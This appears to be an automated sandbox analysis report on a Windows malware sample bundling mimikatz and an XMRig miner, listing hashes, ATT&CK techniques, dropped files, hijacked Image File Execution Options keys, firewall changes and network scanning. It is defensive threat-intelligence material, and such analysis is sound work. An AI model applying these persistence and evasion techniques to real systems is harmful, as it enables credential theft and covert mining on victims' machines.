mimikatz | 2ff2d8322c2db77f2db56fab72f64c09ed21d5d1f2ae3637d78b475597d7b547

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
22/05/2024, 18:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

20240522c9fce9b661ec62999b10335bc3f344e5hacktoolsicedidmimikatz.exe
Size

7.9MB
MD5

c9fce9b661ec62999b10335bc3f344e5
SHA1

b1110a9e0e1d726791da05f8e5478dd0cf058f0e
SHA256

2ff2d8322c2db77f2db56fab72f64c09ed21d5d1f2ae3637d78b475597d7b547
SHA512

91358cb533fc3344e17d88bd1a0b474763bc318ac780ebc58632ce3c20da5a2b3c15e9485cd709ed0ed230ab24e653ed5ca123a1c4c3e1931d4ae26812caf99c
SSDEEP

196608:MxygkmknGzwHdOgEPHd9BRX/nivPlTXTYo:Y5jz0E51/iv1

Score

10^/10

mimikatz xmrig discovery evasion execution miner persistence upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 5028 created 2060	5028	vbtnwbn.exe	38

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (30377) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

XMRig Miner payload 12 IoCs

miner

resource	yara_rule
behavioral2/memory/672-186-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp	xmrig
behavioral2/memory/672-198-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp	xmrig
behavioral2/memory/672-204-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp	xmrig
behavioral2/memory/672-216-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp	xmrig
behavioral2/memory/672-226-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp	xmrig
behavioral2/memory/672-234-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp	xmrig
behavioral2/memory/672-250-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp	xmrig
behavioral2/memory/672-251-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp	xmrig
behavioral2/memory/672-254-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp	xmrig
behavioral2/memory/672-305-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp	xmrig
behavioral2/memory/672-310-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp	xmrig
behavioral2/memory/672-312-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 6 IoCs

resource	yara_rule
behavioral2/memory/4600-0-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/4600-4-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/files/0x0009000000023413-6.dat	mimikatz
behavioral2/memory/1556-8-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/3168-136-0x00007FF63FEB0000-0x00007FF63FF9E000-memory.dmp	mimikatz
behavioral2/memory/3168-138-0x00007FF63FEB0000-0x00007FF63FF9E000-memory.dmp	mimikatz

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\etc\hosts	vbtnwbn.exe
File opened for modification	C:\Windows\system32\drivers\etc\hosts	vbtnwbn.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1316	netsh.exe
3636	netsh.exe

Sets file execution options in registry 2 TTPs 40 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	vbtnwbn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vbtnwbn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vbtnwbn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	vbtnwbn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	vbtnwbn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	vbtnwbn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vbtnwbn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	vbtnwbn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vbtnwbn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vbtnwbn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vbtnwbn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vbtnwbn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	vbtnwbn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	vbtnwbn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	vbtnwbn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vbtnwbn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vbtnwbn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	vbtnwbn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vbtnwbn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	vbtnwbn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vbtnwbn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	vbtnwbn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	vbtnwbn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	vbtnwbn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vbtnwbn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	vbtnwbn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	vbtnwbn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vbtnwbn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vbtnwbn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	vbtnwbn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	vbtnwbn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	vbtnwbn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	vbtnwbn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vbtnwbn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vbtnwbn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vbtnwbn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	vbtnwbn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vbtnwbn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vbtnwbn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	vbtnwbn.exe

Executes dropped EXE 30 IoCs

pid	Process
1556	vbtnwbn.exe
5028	vbtnwbn.exe
4932	wpcap.exe
4708	gwbrtisnb.exe
3168	vfshost.exe
2096	wtumnnmbn.exe
3648	xohudmc.exe
3208	bgvdci.exe
4404	vbtnwbn.exe
672	ngefld.exe
4216	wtumnnmbn.exe
1220	wtumnnmbn.exe
224	wtumnnmbn.exe
3760	wtumnnmbn.exe
956	wtumnnmbn.exe
1540	wtumnnmbn.exe
4292	wtumnnmbn.exe
1036	wtumnnmbn.exe
1820	wtumnnmbn.exe
3336	wtumnnmbn.exe
1448	wtumnnmbn.exe
1680	wtumnnmbn.exe
1208	wtumnnmbn.exe
4816	wtumnnmbn.exe
2440	wtumnnmbn.exe
2984	wtumnnmbn.exe
4056	wtumnnmbn.exe
2356	vbtnwbn.exe
3376	nddeaesly.exe
452	vbtnwbn.exe

Loads dropped DLL 12 IoCs

pid	Process
4932	wpcap.exe
4932	wpcap.exe
4932	wpcap.exe
4932	wpcap.exe
4932	wpcap.exe
4932	wpcap.exe
4932	wpcap.exe
4932	wpcap.exe
4932	wpcap.exe
4708	gwbrtisnb.exe
4708	gwbrtisnb.exe
4708	gwbrtisnb.exe

UPX packed file 37 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3168-136-0x00007FF63FEB0000-0x00007FF63FF9E000-memory.dmp	upx
behavioral2/files/0x000700000002345b-135.dat	upx
behavioral2/memory/3168-138-0x00007FF63FEB0000-0x00007FF63FF9E000-memory.dmp	upx
behavioral2/files/0x0007000000023463-140.dat	upx
behavioral2/files/0x0007000000023466-142.dat	upx
behavioral2/memory/2096-143-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp	upx
behavioral2/memory/2096-158-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp	upx
behavioral2/memory/672-169-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp	upx
behavioral2/memory/4216-175-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp	upx
behavioral2/memory/1220-179-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp	upx
behavioral2/memory/224-183-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp	upx
behavioral2/memory/672-186-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp	upx
behavioral2/memory/3760-188-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp	upx
behavioral2/memory/956-192-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp	upx
behavioral2/memory/1540-196-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp	upx
behavioral2/memory/672-198-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp	upx
behavioral2/memory/4292-201-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp	upx
behavioral2/memory/672-204-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp	upx
behavioral2/memory/1036-206-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp	upx
behavioral2/memory/1820-210-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp	upx
behavioral2/memory/3336-214-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp	upx
behavioral2/memory/672-216-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp	upx
behavioral2/memory/1448-219-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp	upx
behavioral2/memory/1680-223-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp	upx
behavioral2/memory/672-226-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp	upx
behavioral2/memory/1208-228-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp	upx
behavioral2/memory/4816-231-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp	upx
behavioral2/memory/2440-233-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp	upx
behavioral2/memory/672-234-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp	upx
behavioral2/memory/2984-236-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp	upx
behavioral2/memory/4056-238-0x00007FF7F9E20000-0x00007FF7F9E7B000-memory.dmp	upx
behavioral2/memory/672-250-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp	upx
behavioral2/memory/672-251-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp	upx
behavioral2/memory/672-254-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp	upx
behavioral2/memory/672-305-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp	upx
behavioral2/memory/672-310-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp	upx
behavioral2/memory/672-312-0x00007FF7270A0000-0x00007FF7271C0000-memory.dmp	upx

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
73	ifconfig.me
74	ifconfig.me

Creates a Windows Service
persistence

Drops file in System32 directory 18 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File created	C:\Windows\SysWOW64\bgvdci.exe	xohudmc.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	vbtnwbn.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	vbtnwbn.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	vbtnwbn.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2326C1864DE719190C396A6E8734D8B4	vbtnwbn.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	vbtnwbn.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	vbtnwbn.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	vbtnwbn.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2326C1864DE719190C396A6E8734D8B4	vbtnwbn.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\bgvdci.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	vbtnwbn.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	vbtnwbn.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	vbtnwbn.exe

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe

Drops file in Windows directory 60 IoCs

description	ioc	Process
File created	C:\Windows\cysgelbgy\gtirgeyld\wpcap.dll	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\UnattendGC\schoedcl.xml	vbtnwbn.exe
File created	C:\Windows\bwbylena\svschost.xml	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\Corporate\mimilib.dll	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\upbdrjv\swrpwe.exe	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\gtirgeyld\nddeaesly.exe	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\UnattendGC\specials\trch-1.dll	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\UnattendGC\specials\vimpcsvc.exe	vbtnwbn.exe
File created	C:\Windows\bwbylena\docmicfg.xml	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\UnattendGC\AppCapture64.dll	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\gtirgeyld\gwbrtisnb.exe	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\UnattendGC\specials\xdvl-0.dll	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\UnattendGC\specials\spoolsrv.exe	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\UnattendGC\svschost.xml	vbtnwbn.exe
File opened for modification	C:\Windows\bwbylena\schoedcl.xml	vbtnwbn.exe
File opened for modification	C:\Windows\bwbylena\vbtnwbn.exe	20240522c9fce9b661ec62999b10335bc3f344e5hacktoolsicedidmimikatz.exe
File created	C:\Windows\cysgelbgy\UnattendGC\specials\tibe-2.dll	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\UnattendGC\specials\tucl-1.dll	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\UnattendGC\specials\zlib1.dll	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\UnattendGC\specials\svschost.exe	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\UnattendGC\specials\ucl.dll	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\Corporate\vfshost.exe	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\Corporate\mimidrv.sys	vbtnwbn.exe
File created	C:\Windows\bwbylena\schoedcl.xml	vbtnwbn.exe
File opened for modification	C:\Windows\bwbylena\svschost.xml	vbtnwbn.exe
File opened for modification	C:\Windows\bwbylena\vimpcsvc.xml	vbtnwbn.exe
File created	C:\Windows\bwbylena\vbtnwbn.exe	20240522c9fce9b661ec62999b10335bc3f344e5hacktoolsicedidmimikatz.exe
File opened for modification	C:\Windows\cysgelbgy\gtirgeyld\Packet.dll	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\UnattendGC\specials\libeay32.dll	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\UnattendGC\spoolsrv.xml	vbtnwbn.exe
File created	C:\Windows\bwbylena\vimpcsvc.xml	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\UnattendGC\specials\cnli-1.dll	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\UnattendGC\specials\exma-1.dll	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\UnattendGC\specials\posh-0.dll	vbtnwbn.exe
File created	C:\Windows\ime\vbtnwbn.exe	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\UnattendGC\specials\schoedcl.xml	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\gtirgeyld\wpcap.exe	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\UnattendGC\specials\crli-0.dll	vbtnwbn.exe
File opened for modification	C:\Windows\cysgelbgy\Corporate\log.txt	cmd.exe
File created	C:\Windows\cysgelbgy\UnattendGC\vimpcsvc.xml	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\UnattendGC\specials\svschost.xml	vbtnwbn.exe
File created	C:\Windows\bwbylena\spoolsrv.xml	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\gtirgeyld\ip.txt	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\gtirgeyld\Packet.dll	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\UnattendGC\specials\coli-0.dll	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\UnattendGC\docmicfg.xml	vbtnwbn.exe
File opened for modification	C:\Windows\bwbylena\docmicfg.xml	vbtnwbn.exe
File opened for modification	C:\Windows\cysgelbgy\gtirgeyld\Result.txt	nddeaesly.exe
File created	C:\Windows\cysgelbgy\UnattendGC\specials\spoolsrv.xml	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\UnattendGC\specials\vimpcsvc.xml	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\UnattendGC\specials\ssleay32.dll	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\UnattendGC\specials\docmicfg.xml	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\UnattendGC\Shellcode.ini	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\gtirgeyld\scan.bat	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\UnattendGC\specials\libxml2.dll	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\UnattendGC\specials\trfo-2.dll	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\UnattendGC\specials\schoedcl.exe	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\UnattendGC\specials\docmicfg.exe	vbtnwbn.exe
File opened for modification	C:\Windows\bwbylena\spoolsrv.xml	vbtnwbn.exe
File created	C:\Windows\cysgelbgy\UnattendGC\AppCapture32.dll	vbtnwbn.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
856	sc.exe
3244	sc.exe
2292	sc.exe
5036	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 3 IoCs

installer

resource	yara_rule
behavioral2/files/0x0009000000023413-6.dat	nsis_installer_2
behavioral2/files/0x0009000000023415-15.dat	nsis_installer_1
behavioral2/files/0x0009000000023415-15.dat	nsis_installer_2

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3564	schtasks.exe
1648	schtasks.exe
3316	schtasks.exe

Modifies data under HKEY_USERS 45 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wtumnnmbn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wtumnnmbn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wtumnnmbn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wtumnnmbn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wtumnnmbn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wtumnnmbn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wtumnnmbn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wtumnnmbn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wtumnnmbn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wtumnnmbn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wtumnnmbn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	wtumnnmbn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wtumnnmbn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wtumnnmbn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wtumnnmbn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	vbtnwbn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wtumnnmbn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wtumnnmbn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wtumnnmbn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wtumnnmbn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wtumnnmbn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wtumnnmbn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wtumnnmbn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wtumnnmbn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wtumnnmbn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	vbtnwbn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	vbtnwbn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wtumnnmbn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wtumnnmbn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wtumnnmbn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wtumnnmbn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wtumnnmbn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wtumnnmbn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wtumnnmbn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	vbtnwbn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wtumnnmbn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wtumnnmbn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wtumnnmbn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wtumnnmbn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wtumnnmbn.exe
